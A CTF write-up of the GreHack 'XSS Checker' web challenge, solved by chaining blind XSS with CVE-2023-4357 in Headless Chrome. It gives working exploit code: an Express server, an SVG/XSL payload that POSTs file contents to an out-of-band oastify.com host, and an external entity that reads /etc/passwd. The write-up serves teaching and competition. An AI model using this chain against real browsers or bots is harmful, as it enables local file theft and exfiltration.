Introduction

This year, I was happy to be part of the organization committee for the GreHack conference and I created a few challenges for the CTF. Thanks to all the participants and organizers, the event was once again awesome 🔥 💚

Challenge

  • Name : XSS Checker
  • Category : Web
  • Solves : 3
  • Points : 400
  • Author : Nishacid

A Bug Bounty hunter created a community site for his friends to test whether their blind xss payloads would work in a real environment (without stealing any payloads, of course). As a security professional, he guarantees that his environment is secure and well containerized against any kind of attack.

Recon

The challenge starts on a web interface that appears to be a Bot that will check whether your payload works on the XSS vulnerability in blind context.

We can check with a classic XSS payload whether the bot reacts well to this type of vulnerability on an Out-Of-Band Interaction server, and unsurprisingly the bot works correctly and we can observe that our payload works.

<script>document.location="http://0tukxfzd9k50kg8bsh1fq6quzl5ct2hr.oastify.com"</script>

However, whatever payload is used, none seems interesting or exploitable to us, and no cookies or sensitive information seems to be able to be exfiltrated.

One interesting point here is the User-Agent used by the Headless Chrome that the bot uses to check our payload.

HeadlessChrome/115.0.5790.170

After a bit of research into the latest Chrome vulnerabilities, we came across a CVE CVE-2023-4357 that we think might be of interest.

Insufficient validation of untrusted input in XML in Google Chrome prior to 116.0.5845.96 allowed a remote attacker to bypass file access restrictions via a crafted HTML page.

The vulnerability in relates to the use of Libxslt, which is the standard XSLT library for browsers built on WebKit, like Chrome and Safari.
Libxslt’s handling of external entities within documents processed by the XSL document() method can be exploited.
This flaw permits us to bypass security measures and read file:// URLs from within http(s):// URLs, allowing unauthorized file access.

On the Chromium Bug Tracker site, we found the original post by the researcher who found this CVE, and provided the PoC to test the vulnerability :

Exploiting

For the first step in building the exploit configuration, we’ll create the web server:

const express = require('express');
const path = require('path');

const app = express();
const port = 9090;

app.get('/exploit', (req, res) => {
  res.sendFile(path.join(__dirname, 'exploit.svg'));
});

app.get('/xxe', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'exploit.xsl'));
});

app.listen(port, () => {
  console.log(`App listening on port ${port}`);
});

Next, we’ll create the exploit.svg file, which will be the /exploit route and the page the bot will visit. As this is a blind vulnerability, we need to set up an Out Of Band server here to receive the exploit result.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
	<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
		<script>
		const url = "https://7qyrumwk6r27hn5ipoymndn1ws2kqaez.oastify.com"
        setTimeout(() => {
            const lfi = document.getElementById("lfi").innerHTML;
			fetch(url, { method: "POST", body: lfi})
        }, 50)
        </script>
        <foreignObject id="lfi" width="1000" height="1000">
		    <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
			<xsl:copy-of  select="document('xxe')"/>
		    </div>
		</foreignObject>
	</svg>
 </xsl:template>
</xsl:stylesheet>

Finally, we’ll create the exploit.xsl file, which will be loaded as an entity and return the file to be read.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY file SYSTEM "file:///etc/passwd">
]> 

<p>&file;</p>

We can now run the web server as follows:

npm i express

node app.js

Personally, I prefer to install a Reverse Proxy on this type of server, as some networks and bots may block non-standard ports like 9090, but allow standard HTTP/HTTPS ports, so this step is optional.

I’ll use Caddy for its simplicity.

/etc/caddy/Caddyfile

xlst.i-will-pwn-your.host {
    reverse_proxy 127.0.0.1:9090
}

Once the configuration is ready, we can take our first XSS payload, and force the bot to visit our payload :

Then we can observe that the /etc/passwd file specified in the exploit.xsl file is sent to our :

To conclude, simply modify our exploit.xsl to retrieve the flag in /flag.txt.

  • Flag : GH{XsS_T0_bR0wS3r_3xpl0it}